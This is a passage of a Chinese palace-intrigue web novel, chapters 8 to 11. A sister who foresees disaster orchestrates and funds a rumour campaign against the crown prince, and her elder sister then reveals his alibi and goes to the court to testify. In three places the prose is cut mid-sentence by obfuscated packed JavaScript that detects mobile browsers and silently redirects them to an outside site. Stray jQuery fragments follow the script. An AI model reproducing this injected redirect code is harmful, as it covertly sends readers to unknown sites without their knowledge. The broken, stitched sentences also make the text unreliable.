话音落下的那一刻,时间仿佛静止了。 全场死寂 ,石破天惊 。 8. 第 8 章 “太子,唐景承。” 这五个字,如同一道无形的魔咒,在卢府后院这片小小的天地间回荡,久久不散 。 死寂。 一种令人窒息的、仿佛能听到彼此心跳声的死寂 。 时间在这一刻被无限拉长,空气凝固得如同琥珀,将所有人的表情都定格在了那一瞬间——惊骇、错愕、难以置信,以及……一丝丝无法掩饰的兴奋。 紧接着,这片死寂便被一阵轰然爆发的骚动彻底撕碎 。 “天哪!我没听错吧?她说的是……太子殿下?” “疯了!这妇人一定是疯了!竟敢攀扯储君!” “可是……你看她的模样,也不像是在说谎啊……” 贵女们再也顾不上矜持与仪态,纷纷交头接耳,议论声如同被点燃的蜂巢,嗡嗡作响,彻底失控 。她们的眼神在那个跪地哭泣的民妇、面如死灰的卢娘子,以及……全场身份最特殊、也最尴尬的崔云熙之间,来回扫视。 一道道目光,或同情,或怜悯,或幸灾乐祸,或纯粹看戏,像无数根细密的针,齐刷刷地刺向了这位尚未过门的准太子妃。 崔云姝紧紧地挨着姐姐,几乎能感觉到崔云熙身体瞬间的僵硬。她悄悄抬眼,只见姐姐那张一向平静无波的脸上,血色正在以肉眼可见的速度褪去,变得苍白如纸 。但出乎她意料的是,除了最初的震惊之外,崔云熙的眼中并没有她预想中的崩溃、羞愤或是绝望。那双清澈的眸子,此刻竟是异常的平静,平静得……有些可怕 。 这不该是未婚夫婿爆出惊天丑闻后,一个女子该有的反应。 崔云姝的心中,第一次对自己的计划,产生了一丝无法言说的、细微的动摇。但这份动摇很快便被二哥入东宫的绝望和对全家命运的担忧所淹没 。 她用力掐了掐自己的掌心,剧烈的疼痛让她瞬间清醒。她告诉自己,不能心软,不能退缩。姐姐此刻的平静,或许只是出于世家贵女的教养,强撑着不愿在外人面前失态罢了。她一定很痛苦,很绝望。 自己所做的一切,都是为了拯救她! 崔云姝深吸一口气,将那丝不安强行压下,继续扮演着那个被吓傻了的妹妹角色,身体微微颤抖,紧紧依偎在姐姐身旁,仿佛只有这样才能汲取到一丝安全感 。 而在风暴的中心,卢娘子已经彻底崩溃了。她瘫软在地,嘴唇哆嗦着,却一个字也说不出来 。她知道,从“唐景承”这三个字被说出口的那一刻起,这件事就已经不再是她一个区区卢家能够压得下去的了 。 储君蒙污,国本动摇。这桩泼天的祸事,就发生在她卢家的春日宴上。无论最终结果如何,她卢家都难辞其咎,轻则沦为京城笑柄,重则……可能遭受圣人雷霆之怒的牵连。 她完了,卢家也完了。 与卢娘子的绝望形成鲜明对比的,是王家小姐王淑月。她看着眼前这彻底失控的场面,嘴角勾起一抹得意的、胜利的冷笑。她知道,自己刚刚那一问,为二皇子立下了天大的功劳。 “卢娘子,事已至此,我看……还是报官吧。”王淑月慢条斯理地开口,声音不大,却清晰地传到每个人耳中。她轻摇着团扇,一副悲天悯人的模样,“此事牵涉太子殿下清誉,非同小可。若这民妇是胡言乱语,自当严惩,以儆效尤;可若是……若真有冤情,我等也不能坐视不理,总该请官府来查个水落石出,还殿下一个清白,也给这位可怜的夫人一个公道。” 她这番话说得冠冕堂皇,滴水不漏,既将自己摘得干干净净,又彻底断了卢娘子私了的念头。 “对,报官!” “必须报官!此事必须彻查!” 周围的贵女们立刻附和起来。看热闹不嫌事大,更何况是这等牵涉皇室的惊天大瓜。 卢娘子此刻已经六神无主,听到“报官”二字,反倒像是抓到了一根救命稻草。是的,报官!把这个烫手的山芋扔出去!扔给官府,扔给大理寺! 她为求自保,也为了不让事态在自家府邸内恶化到无法收拾的地步,几乎是连滚带爬地对身旁的管事吼道:“快!快去……快去京兆府!不!去大理寺!快去请大理寺卿过来!” 这个举动,正中崔云姝下怀 。 她要的就是官方介入,要的就是将这件后宅丑闻,彻底升级为一桩摆在明面上、受天下人审视的政治案件! 只有这样,这桩丑闻才拥有足够的分量,去撼动崔家与东宫的婚约! 大理寺的动作远比想象中要快。 不到半个时辰,一队身着皂隶官服、腰佩长刀的大理寺官员便神色肃穆地赶到了卢府 。为首的,正是大理寺少卿,郑修。 郑修是个四十多岁的中年人,面容清瘦,眼神锐利如鹰,素以铁面无私、办案严谨著称。他一到场,那股官府特有的威严与煞气,便让原本嘈杂的后院瞬间安静下来。 他先是向在场的崔云熙等人拱手行礼,算是尽了礼数,随即目光便落在了那个依旧跪在地上的民妇身上。 “堂下何人,状告何事,从实招来!”郑修的声音不高,却带着一股不容置疑的威严。 那民妇在家丁的拉拽和众人的围观下早已是强弩之末,此刻见到真正的朝廷命官,精神彻底崩溃,只是反复哭喊着:“民妇有冤……民妇有天大的冤情……” 郑修眉头一皱,也不与她多言,只是对身旁的下属挥了挥手:“将此妇人,连同卢府相关人等,一并带回大理寺审问!” “是!” 两名差役立刻上前,将那已经哭得瘫软的民妇架了起来。 随后,郑修转向在场的一众贵女,再次拱手,神情严肃地道:“诸位皆是此案人证,今日之事,还望诸位谨言慎行。此案牵涉储君,非同小可,我大理寺必定奉旨彻查,绝不姑息任何一个诬告之人,也绝不放过任何一个作恶之徒。定会查明真相,还太子殿下一个清白,或是……为受害者讨回一个公道。” 他这番话说得掷地有声,既是安抚,也是警告。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367929|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在场的贵女们哪见过这等阵仗,一个个噤若寒蝉,连连点头称是。 一场本该是赏花作诗、风花雪月的春日宴,至此,便以这样一种极其难堪和狼狈的方式,不欢而散 。 各家府邸的马车纷纷驶离卢家,载着满腹的惊天秘闻和各自的心思,奔向京城的四面八方。 可以预见,今夜的京城,注定无眠。 回府的马车上,气氛凝重得几乎要滴出水来 。 崔云姝坐在姐姐身旁,一路上都低着头,不敢去看她的眼睛。她心中一半是计划成功的狂喜,另一半却是面对姐姐时无法言说的愧疚与心虚 。 她知道,姐姐是这场风暴中,除了太子之外,最大的受害者。她本该是人人艳羡的准太子妃,却在今日,当着全京城贵女的面,沦为了一个巨大的笑话。 她一定很难过吧?一定很想哭吧? 崔云姝偷偷地、小心翼翼地抬起眼,觑着姐姐的神情 。 崔云熙静静地靠在车壁上,脸色依旧苍白得没有一丝血色,纤长的睫毛在眼睑下投下一片淡淡的阴影。她没有哭,没有歇斯底里,甚至没有表露出任何愤怒或羞辱的情绪 。 她的眼神异常平静,平静得就像一潭深不见底的古井,没有任何波澜。她只是静静地望着窗外,仿佛今日发生的一切,都与她无关 。 这种超乎寻常的平静,让崔云姝感到了一丝莫名的、深入骨髓的不安与困惑 。 这不对劲。 太不对劲了。 一个人,在遭遇了如此奇耻大辱之后,怎么可能平静到这种地步?除非……除非她根本不在乎。 可若是不在乎,她又为何要答应这门亲事? 一个又一个的疑问,如同疯狂滋生的藤蔓,瞬间缠绕住了崔云姝的心。她第一次发现,自己似乎……并不真正了解眼前这个与她朝夕相处了十多年的姐姐。 马车穿过繁华的街道,车轮滚滚,碾过青石板路。 车窗外,已经隐约可以听到一些窃窃私语。 “听说了吗?卢家春宴出大事了!” “何止是大事!是天大的事!太子殿下……竟然……竟然强辱民女,还搞大了人家的肚子!” “我的天!真的假的?那崔家大姑娘岂不是……” “嘘!小声点!不要命了!” 流言,已经插上了翅膀 。 它们以比官府文书快上百倍的速度,飞速传遍了京城的大街小巷,从高门府邸的后院,到市井街头的茶楼酒肆。每一个听到的人,都瞪大了眼睛,脸上写满了不可思议,然后又迫不及待地将这个消息,添油加醋地告诉下一个人。 一场足以颠覆东宫、震动朝野的舆论风暴,已然成型 。 崔云姝听着窗外那些越来越清晰的议论声,心中却没有半分计划成功的喜悦。 她只是看着身旁姐姐那平静得有些过分的侧脸,那股莫名的不安,在心底越扩越大,几乎要将她吞噬。 9. 第 9 章 是夜,崔府万籁俱寂。 月上中天,清冷的辉光透过窗棂,在崔云姝的卧房内投下一片斑驳的银霜。 她躺在柔软的拔步床上,辗转反侧,毫无睡意 . 白日里发生的一切,如同走马灯般在她脑海中一幕幕回放。卢家后院那场惊心动魄的对峙,民妇凄厉的指控,贵女们惊骇的眼神,以及……姐姐崔云熙那张苍白却异常平静的脸 . 计划成功了。 从结果来看,堪称完美。一场精心策划的“意外”,成功地将一桩可能被压下的后宅丑闻,升级为一桩由大理寺介入、牵动国本的惊天大案。如今,“太子强辱民女致其有孕”的流言已经传遍京城,东宫声誉扫地,她与太子的婚事,在天下人的口诛笔伐之下,已然岌岌可危。 她本该高兴,本该为自己成功扭转了“剧情”而感到振奋。 可她没有。 一股难以言喻的、冰冷的惶惑,正从她的心底深处,丝丝缕缕地蔓延开来,缠绕住她的四肢百骸 。 那股惶惑的源头,正是崔云熙。 她想不通。 一个待字闺中的少女,未来的太子妃,在未婚夫婿爆出如此惊世骇俗的丑闻,自己沦为全京城笑柄的时刻,为何能平静到那种地步? 那不是强撑,不是伪装,更不是出于世家贵女的教养而刻意压抑情绪。崔云姝自问看人还算有几分准头,她能分辨出那份平静之下,没有愤怒,没有羞辱,没有绝望,甚至……没有丝毫的悲伤 。 那是一种近乎于……置身事外的淡漠。 仿佛今日被推上风口浪尖的不是她的未婚夫,她所面对的也不是一场足以毁掉她一生幸福的奇耻大辱。 这太不合常理了。 难道姐姐对这桩婚事,对太子本人,当真没有一丝一毫的情感与期待?若真是如此,当初她又为何要主动站出来,替自己接下这门亲事? 崔云姝的心乱成了一团麻。她觉得自己就像一个在浓雾中行走的旅人,以为看清了前方的道路,却在迈出一步后,发现脚下是深不见底的悬崖。 不行,她必须去问个清楚! 这个念头一旦升起,便再也无法遏制。她猛地从床榻上坐起,披上一件外衣,连鞋履都来不及穿好,便赤着脚,提着一盏小小的羊角灯,悄无声息地推门而出。 深夜的崔府,寂静无声。回廊下的灯笼散发着昏黄的光,将她的影子拉得忽长忽短。夜风微凉,吹在她单薄的衣衫上,让她忍不住打了个寒颤,可她却丝毫不在意。 她穿过花园,绕过假山,径直来到了崔云熙居住的“谧竹院” 。 谧竹院内,修竹森森,月光洒落,在地上投下斑驳的竹影,随风摇曳,如泣如诉。主屋的窗户还透着微光,显然里面的人还未安歇。 崔云姝深吸一口气,平复了一下狂跳的心,伸手轻轻推开了那扇虚掩的门 。 屋内的景象让她微微一怔。 崔云熙并未如她想象中那般以泪洗面或是枯坐发呆。她只穿着一身素白的寝衣,长发松松地挽着,正端坐在书案前,手里捧着一卷书,借着烛光,看得十分专注。那份从容与恬静,与白日里一般无二,仿佛外界那场足以掀翻京城的风暴,于她而言,不过是窗外的一缕微风。 听到推门声,崔云熙抬起头,看到是崔云姝,眼中闪过一丝讶异,但很快便恢复了平静:“四妹妹,夜深了,怎么过来了?” 崔云姝提着灯笼走进去,将房门关上。她将灯笼放到一旁,径直走到书案前,目光灼灼地盯着自己的姐姐,再也无法维持白日里的伪装 。 “姐姐,”她开门见山,声音因情绪激动而微微颤抖,“你……你还好吗?” 崔云熙放下手中的书卷,抬眸看她,清澈的眸子里映着烛火,反问道:“我为何会不好?” “为何会不好?”崔云姝像是听到了什么天大的笑话,音量不由自主地拔高,“外面都传成什么样了,你不知道吗?太子……太子他做出那等禽兽不如的事情,你的名声,你的后半辈子,全都被他毁了!你……你怎么还能像个没事人一样坐在这里看书?!” 她越说越激动,胸口剧烈起伏,眼圈也红了。她一半是为姐姐感到不值,另一半,则是对自己心中那份越来越强烈的不安感到恐惧。 “姐姐,你听我说,”她上前一步,抓住崔云熙微凉的手,急切地说道,“这正是我们的好机会!太子品行败坏至此,圣人为了皇室颜面,也断然不会再让你嫁给他。我们可以借此机会,向父亲和族老们提议,解除这门婚事!你再也不用嫁给那个人渣,再也不用……” “住口。” 两个字,轻飘飘的,却带着一股不容置疑的力量,瞬间打断了崔云姝所有的话 。 崔云姝猛地一愣,难以置信地看着崔云熙。 只见崔云熙缓缓抽回自己的手,站起身,走到窗前,推开窗户,任由清冷的夜风吹拂着她的长发。她的背影纤细而孤直,声音平静得没有一丝波澜。 “他不是人渣。”她顿了顿,又重复了一遍,仿佛是在陈述一个颠扑不破的真理,“他不是那样的人。” “什么?”崔云姝彻底懵了,她怀疑自己是不是听错了,“姐姐,你在说什么?那民妇人证物证俱在,全京城的人都看到了,你……你怎么还……” “我相信他。”崔云熙转过身,月光与烛光交织在她脸上,让她那张素净的脸庞显得有些不真切。她的目光直直地望进崔云姝的眼底,那份坚定,是崔云姝从未在她身上见过的,“无论别人说什么,无论有多少所谓的‘证据’,我相信他。” 崔云姝如遭雷击,踉跄着后退了两步,险些撞翻身后的椅子。 她的大脑一片空白。 相信? 在铁证如山面前,姐姐竟然说……她相信那个男人? “为什么?”崔云姝的声音干涩得像是被砂纸磨过,“你凭什么相信他?难道就凭那一道赐婚的圣旨?凭他那个储君的身份?姐姐,你不要再自欺欺人了!” 崔云熙看着她,眼中闪过一丝复杂的情绪,有无奈,有怜惜,最终化为一声悠长的叹息。 她沉默了片刻,似乎在斟酌着什么,又似乎是在回忆着什么 。最终,她缓缓开口,声音轻得如同梦呓: “因为……案发那晚,他一直与我在一起。” “你说什么?!”崔云姝的眼睛瞬间瞪得溜圆,她几乎以为自己出现了幻听。 “你没有听错,”崔云熙的脸上,第一次浮现出一抹极淡的、带着些许羞涩与甜蜜的红晕,“那晚……他夜探了我的谧竹院。” 接下来,从崔云熙口中缓缓道出的,是一个与“书”中记载截然不同、却又无比真实的故事 。 太子唐景承此前因奉旨巡查河工,离京月余,回京后又因朝中诸事缠身,一直未能与她相见 。那晚,他因思念心切,才不顾礼法,冒昧地潜入崔府,只为能与她见上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367930|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,互诉衷情 。 他们并没有做什么出格的事情,只是在竹林下的石凳上,坐着说了半宿的话。他同她讲巡查路上的见闻,讲他对未来朝局的担忧;她为他抚平紧锁的眉头,听他描绘二人婚后琴瑟和鸣的场景。 那晚的月色很好,竹影摇曳,一切都美好得像一场不真实的梦。 “我们的婚事,也并非如你所想,只是冷冰冰的政治联姻,”崔云熙的声音越发轻柔,眼中泛起温柔的水光,“五年前,在宫中上元灯宴上,他便见过了我。后来,是……是他亲自向圣人求来的这门亲事。” “他之所以在案发后,迟迟不肯说出自己的行踪,宁愿自己身败名裂,被千夫所指,也不愿将我牵扯进来,便是为了护住我的名声。他怕我因此遭受非议,怕我被世人指责为‘私相授受’的□□。” “他护着我,我又怎能眼睁睁地看着他蒙受不白之冤?” “所以,是我自己,决定要站出来的。” …… 崔云姝呆呆地站在原地,一动不动,像一尊被抽走了魂魄的木雕。 崔云熙后面又说了些什么,她已经完全听不清了。她的耳边,只剩下巨大的、无休止的嗡鸣声。 两情相悦…… 私下求娶…… 为护她名节,甘愿蒙冤…… 这些词语,像一把把烧红的利刃,狠狠地捅进她的认知,将她那套建立在“书”上的是非黑白,搅得粉碎! 原来,姐姐不是没有感情,而是情根深种 。 原来,太子不是人渣,而是一个用情至深的痴情人。 原来,她所以为的“拯救”,从头到尾,就是一场自以为是的、荒谬绝伦的闹剧! 她精心策划的一切,她引以为傲的布局,都建立在一个彻头彻尾的错误根基之上! 她亲手掀起的这场风暴,不仅没有斩断那根她以为致命的锁链,反而像一个最愚蠢的刽子手,挥刀砍向了她最想保护的人的幸福,逼得她不得不以牺牲自己名节的方式,去拯救她的爱情! 巨大的荒谬感与愧疚感如山洪般将她吞没。 她看着眼前这个神情坚定、为了爱情可以奋不顾身的姐姐,第一次感到自己对这个世界的认知是何等的浅薄和可笑 。 她所以为的“剧情”,她赖以生存的“先知”,在这一刻,显得如此不堪一击。 “我……我……”她张了张嘴,想说些什么,想道歉,想解释,却发现喉咙里像是被塞满了棉花,一个字也吐不出来。 最终,她只是踉跄着,几乎是落荒而逃般地退出了那间屋子,退出了那个属于姐姐与太子的、她从未真正了解过的世界 。 夜风更冷了。 她赤着脚踩在冰冷的石板路上,却感觉不到丝毫寒意。因为她的心,比这深夜的寒风,还要冷上千倍万倍。 脑海中,“书”里那一行行冰冷的文字,与方才姐姐眼中那温柔而坚定的光芒,激烈地碰撞、撕扯,几乎要将她的神智撕裂。 如果……如果姐姐说的是真的…… 那么,“书”里的一切,又算什么? 既然他们两情相悦,太子又为何会在三年后谋反?既然他如此珍视姐姐,又为何会落得个她惨死城楼、崔家满门抄斩的结局? 故事的走向,第一次,完全脱离了她的掌控 。 而她,这个自以为是的“救世主”,也终于在这一刻,彻底沦为了一个茫然无措的……局外人。 10. 第 10 章 从姐姐崔云熙的谧竹院失魂落魄地逃出来后,崔云姝不知道自己是如何回到房间的 。 她只记得,那一路的夜风,比她想象中要冷得多,刮在脸上,像刀子一样,将她所有的骄傲与自以为是,都割得支离破碎。 她整夜未眠 。 窗外的月亮从东升到西落,再到天际泛起鱼肚白,她就那么枯坐在床沿,一动不动,仿佛一尊失去了灵魂的木偶。 脑海中,两个截然不同的世界正在进行着一场惨烈的厮杀。 一个世界,是“书”中那冰冷而残酷的记载:太子谋反,崔家覆灭,姐姐被悬尸城楼,烈日曝晒,飞禽啄身,连个完整的尸身都未曾留下 。那是一个注定了的、血淋淋的结局,是她这两年来所有行动的根基,是她心中最深沉的恐惧。 而另一个世界,则是姐姐方才眼中那温柔而坚定的光芒,是她提起太子时,那份发自内心的、不容置疑的信任与爱意。两情相悦,私下求娶,为护她名节甘愿蒙冤……这一切,美好得像一出才子佳人的话本,却又真实得让她无法辩驳 。 她无法理解 。 她无法理解姐姐对太子的信任为何能坚定到如此地步 。 她更无法理解,既然他们情深至此,为何“书”中的结局会是那般惨烈? 是姐姐被爱情蒙蔽了双眼,看不清太子的真面目?还是……那本“书”,从一开始,就在对她说谎? “未尘埃落定前,这世上没有确定的事儿。” 母亲的话,毫无征兆地在她脑海中响起 。 崔云姝的心脏猛地一抽。 她痛苦地闭上眼睛,双手用力地抓着自己的头发。她感觉自己的认知正在被撕裂,一边是来自“前世”的、几乎等同于神谕的“剧情”,另一边,则是这个世界里,她至亲之人最真挚的情感流露。 她该相信谁? 如果相信姐姐,那么她过去所做的一切,都成了一个天大的笑话。她不仅没有拯救任何人,反而亲手将姐姐推向了不得不牺牲名节的绝境 。 可如果……如果不相信姐姐,继续相信“书”呢? 崔云姝的脑海中,瞬间浮现出那副惨不忍睹的画面——城楼之上,残破的尸身,烈日,盘旋的乌鸦…… 一股深入骨髓的寒意,瞬间攫住了她。 不! 她不能赌! 她输不起! 姐姐可以为爱情盲目,但她不能!因为她背负的,不仅仅是姐姐一个人的命运,更是整个崔氏一族的生死存亡! 最终,“全家惨死”那份最原始、最深刻的恐惧,如同最沉重的砝码,狠狠地压倒了天平的另一端 。 崔云姝缓缓松开了抓着头发的手,再次睁开眼时,那双因迷茫而失焦的眸子里,重新凝聚起了一丝冰冷的、决绝的光。 她认定,姐姐是被爱情蒙蔽了双眼 。是太子高超的演技,骗过了所有人,也骗过了那个单纯善良的姐姐。而“书”中的结局,才是唯一真实、且即将到来的未来。 既然如此,她的计划,就不能停。 不仅不能停,还要……加一把火! “阿桃!”她扬声唤道。 守在门外的阿桃立刻推门进来,看到自家主子一夜未睡,脸色苍白得吓人,不由得大惊失色:“姐儿,您这是怎么了?可是哪里不舒服?奴婢这就去请大夫!” “我没事。”崔云姝摆了摆手,声音沙哑却异常镇定,“你去,立刻派人去大理寺那边打探消息,我要知道关于‘太子案’的所有进展,一个字都不要漏!” “是!”阿桃见她神情严肃,不敢怠慢,立刻领命而去。 一个时辰后,派去打探消息的小厮带回了最新的情报。 “回四姑娘,小的托了相熟的衙役打听,大理寺那边,昨夜连夜审问了那民妇,可……可案子似乎陷入了僵局。”小厮擦着额上的汗,小心翼翼地回禀道。 “僵局?什么意思?” “那民妇一口咬定就是太子殿下,可殿下那边……却坚称自己当晚并未外出,一直在东宫读书,并无任何人证可以证明。大理寺卿郑大人的态度也有些……有些暧昧,既不敢严审殿下,也不敢轻易给那民妇定罪,似乎……似乎是想将此事大事化小,小事化了。” 大事化小,小事化了? 崔云姝闻言,心中一狠 。 她决不能让此事被轻易压下! 她很清楚,皇室最擅长的,便是这种和稀泥的手段。只要拖延下去,等京中百姓的热情一过,他们有的是办法让那个民妇“病死”或是“意外身亡”,到时候死无对证,这桩丑闻自然也就不了了之。 而她和姐姐,乃至整个崔家,将彻底失去摆脱东宫的最后机会! “阿桃。”崔云姝眼中闪过一丝厉色。 “奴婢在。” “去我妆台的暗格里,取一百两银票来。” 阿桃心中一惊,却不敢多问,立刻取来了银票。 崔云姝将那沓厚厚的银票拍在桌上,对身边最得力的心腹小厮石头说道:“石头,我交给你一件事,此事事关重大,必须办得滴水不漏。” 石头立刻躬身道:“姑娘请吩咐,小的万死不辞!” “你拿着这些钱,”崔云姝压低了声音,眼中闪烁着冰冷的光,“去京城里找几个最擅长传播消息的闲汉、说书先生,还有勾栏瓦舍里的那些唱曲儿的。让他们把昨天发生在卢家春日宴上的事情,给我编成朗朗上口、又引人遐想的段子和歌谣。” “内容要足够劲爆,要突出‘储君’、‘民妇’、‘珠胎暗结’、‘始乱终弃’这些字眼。细节可以任由他们发挥,越离奇越好,越能勾起人的兴趣越好。我要让这件事,在最短的时间内,传遍全京城的每一个角落,让每一个贩夫走卒、引车卖浆之徒,都在谈论这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367931|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事!” “记住,钱不是问题,我要的是速度和广度!我要让这把火,烧得整个京城都沸反盈天!” 石头听得心惊肉跳,他从未见过自家姑娘这般模样,那眼神里的狠厉,让他不寒而栗。但他不敢有丝毫犹豫,接过银票,重重地点了点头:“姑娘放心,小的明白!” 事实证明,舆论的力量,远比刀剑更加可怕。 在金钱的驱动下,一场由崔云姝亲手策划的、针对东宫的舆论风暴,以摧枯拉朽之势,席卷了整个京城。 短短两日之内,各种版本的“太子风流案”便新鲜出炉,在全城各大茶楼、酒肆、勾栏瓦舍中,被绘声绘色地传播开来 。 茶楼里,说书先生口沫横飞: “话说那一日,卢府春宴,百花争艳!太子殿下酒过三巡,忽见一送馄饨的小娘子,生得是沉鱼落雁,闭月羞花!殿下一时意动,便将其诓骗至无人之处,行下了那……咳咳,风流之事啊!” 酒肆中,酒客们高谈阔论: “听说了吗?那民妇已经怀了龙种!如今被婆家赶出,走投无路,这才拼死告状!” “何止啊!我还听说,太子殿下曾许诺要将她接入东宫,如今却始乱终弃,翻脸不认人呢!” 勾栏瓦舍里,唱曲儿的优伶更是将此事编成了香艳又悲情的曲子,用婉转的唱腔,引得无数看客唏嘘不已: “……可怜那薄命女,错付了一片痴心。原以为是金玉良缘,谁曾想,竟落得个腹有麟儿,却被扫地出门……” 版本越传越离奇,细节越描越香艳。从最初的“酒后误认”,到后来的“蓄意强占”,再到最后的“为夺美妇,暗害其夫”,故事的内容已经完全脱离了事实,却精准地戳中了民众最热衷的□□——皇室秘闻、风流韵事、仗势欺人 。 民怨,如同被投入了干柴的烈火,彻底沸腾了 。 一时间,整个京城,上至王公贵族,下至平民百姓,所有人都在谈论此事。东宫的声誉,一落千丈。 崔云姝坐在自己的院子里,听着阿桃和石头绘声绘色地汇报着外面的情况,心中却毫无半分喜悦 。 她只是静静地看着院中那棵石榴树,树上的花开得正艳,红得像血。 她知道,这把火是她亲手点燃的。 火势已经大到无法控制,舆论的压力如同一座沉重的大山,死死地压在了大理寺和东宫的头顶 。 她成功地将所有人都逼到了悬崖边上,包括她自己。 她知道,事情已经没有回头路了。接下来,她要面对的,将是姐姐可能的不解与怨恨,是父亲和族老的雷霆之怒,甚至是……来自东宫和皇室的疯狂反扑。 但她不后悔。 为了活下去,为了全家能活下去,她别无选择。 这只是第一步。 接下来,她要等的,便是这把火,烧出她最想要的结果。 11. 第 11 章 舆论如沸,鼎汤不止 。 崔云姝亲手点燃的那把火,在短短三日之内,便以燎原之势,烧遍了整个京城。从朱雀大街的王公府邸,到陋巷深处的贩夫走卒,无人不在议论“太子风流案”。街头巷尾的说书人、优伶们,更是将此事编成了十数个版本,每一个都比上一个更香艳、更离奇、也更引人愤慨。 民怨汇聚成海,其势汹汹,直扑皇城。 龙椅之上的天子,终于被这滔天的声浪所惊动 。 皇帝震怒 。 一道措辞严厉的圣旨自宫中发出,直抵大理寺,勒令寺卿郑修,三日之内,必须结案! 给天下人一个交代! 圣意如山,雷霆万钧。大理寺上下顿时风声鹤唳,灯火通明,连夜提审相关人等。而作为这场风暴中另一个无法被忽视的漩涡中心——崔府,亦是愁云惨淡,气氛凝重到了极点 。 这几日,崔府的大门几乎要被踏破。父亲崔温被族中耆老轮番请去宗祠“喝茶”,每一次回来,脸色便要难看一分 。那些白发苍苍的族老们,唾沫横飞地质问他为何教女无方,为何会让崔家的准太子妃陷入如此不堪的境地,几乎要将崔温的脊梁骨戳穿。 母亲宋氏则整日将自己关在斐阁,不见外客,眉宇间的忧愁浓得化不开 。她时而去大女儿崔云熙的院中枯坐半晌,时而又会来崔云姝的房里,看着她,欲言又止,最终只化为一声长长的叹息 。 崔云姝知道,母亲是何等聪慧之人,她或许已经猜到了,这场失控的舆论风暴背后,有自己这个小女儿在推波助澜。但她没有点破,只是用那双盛满了忧虑的眼睛,沉默地看着她。 而崔云姝自己,则平静地待在自己的院子里,每日里听着阿桃和石头带回来的、外面那些越来越沸腾的消息。她知道,一切都在按照她“最坏”的设想,顺利地发展着 。 太子无法自证清白,民怨沸反盈天,皇帝震怒施压……这桩婚事,眼看着就要被这滔天的舆论彻底冲垮。 她几乎已经能看到胜利的曙光。 然而,就在第三日午后,正当崔云姝以为一切都将尘埃落定时,一个惊天动地的消息,如同一道旱雷,毫无征兆地在崔府炸响! “不好了!不好了!” 管家崔安连滚带爬地冲进斐阁,他那张一向沉稳的脸上,此刻写满了前所未有的惊骇与慌乱,连礼数都忘了,声音嘶哑地对着崔温和宋氏大喊:“老爷!夫人!不好了!大……大姑娘她……” “熙姐儿怎么了?!”宋氏“霍”地一下站起身,心瞬间提到了嗓子眼。 崔温也脸色一变,厉声喝道:“慌慌张张,成何体统!说清楚,大姑娘到底怎么了?” 管家崔安喘着粗气,几乎要哭出来:“大姑娘……大姑娘她……她独自一人,乘着府里的青帷小车,去了……去了大理寺!她说……她要去击鼓鸣冤!” “什么?!” 崔温与宋氏同时如遭雷击,脸色煞白。 而刚刚得到消息,匆匆赶来正厅的崔云姝,恰好在门口听到了这句完整的话。 “嗡——” 她的脑袋里,瞬间一片空白 。 击鼓鸣冤? 姐姐……她去大理寺做什么?她要去为谁鸣冤? 一个荒谬到极致、却又无比贴合眼下情境的念头,如同最凶猛的毒蛇,猛地窜进她的脑海,死死地咬住了她的心脏! 不……不会的…… 姐姐她……她怎么会…… 【大理寺,公堂】 “威——武——” 庄严肃穆的大理寺公堂之上,两排衙役手持水火棍,声如洪钟。堂上高悬的“明镜高悬”牌匾,在从天井投下的光束中,闪烁着冰冷而公正的光芒。 大理寺卿郑修端坐于公案之后,面沉如水。这几日,他被“太子案”折磨得焦头烂额,寝食难安。一边是储君,一边是汹涌的民意,再加上圣上三日结案的严令,他只觉得自己的官帽已是摇摇欲坠。 就在他一筹莫展之际,堂外那面象征着天大冤情的登闻鼓,竟被人悍然敲响! 鼓声沉闷而决绝,三声过后,整个大理寺都为之震动。 “何人击鼓?带上堂来!”郑修惊堂木一拍,厉声喝道。 很快,一个身影被带上了公堂。 当看清来人的那一刻,不止是郑修,就连堂上所有的官员、衙役,乃至挤在门口旁听的百姓,全都惊得倒吸一口凉气 。 来人竟是一位女子。 一位身着素衣,未施粉黛,却依旧风华绝代的女子 。 她身姿挺拔,步履从容,在那数十道或惊愕、或好奇、或探究的目光注视下,缓缓走到堂前,对着堂上,盈盈一拜。 “民女崔氏云熙,叩见郑大人。” 她的声音清冷如玉石相击,在这肃杀的公堂之上,显得格外清晰。 崔氏云熙! 未来的太子妃! 她……她来做什么?! 郑修只觉得头皮一阵发麻,他几乎是下意识地站起身,又觉得不妥,连忙坐下,声音都有些变调:“崔……崔大姑娘,你……你为何要击鼓?你可知,此鼓一响,便再无回头之路?” “民女知道。”崔云熙缓缓直起身,那双清澈的眸子,平静地迎上郑修锐利的目光,没有丝毫的畏惧与退缩,“民女今日前来,不为伸冤,只为作证。” “作证?”郑修一愣。 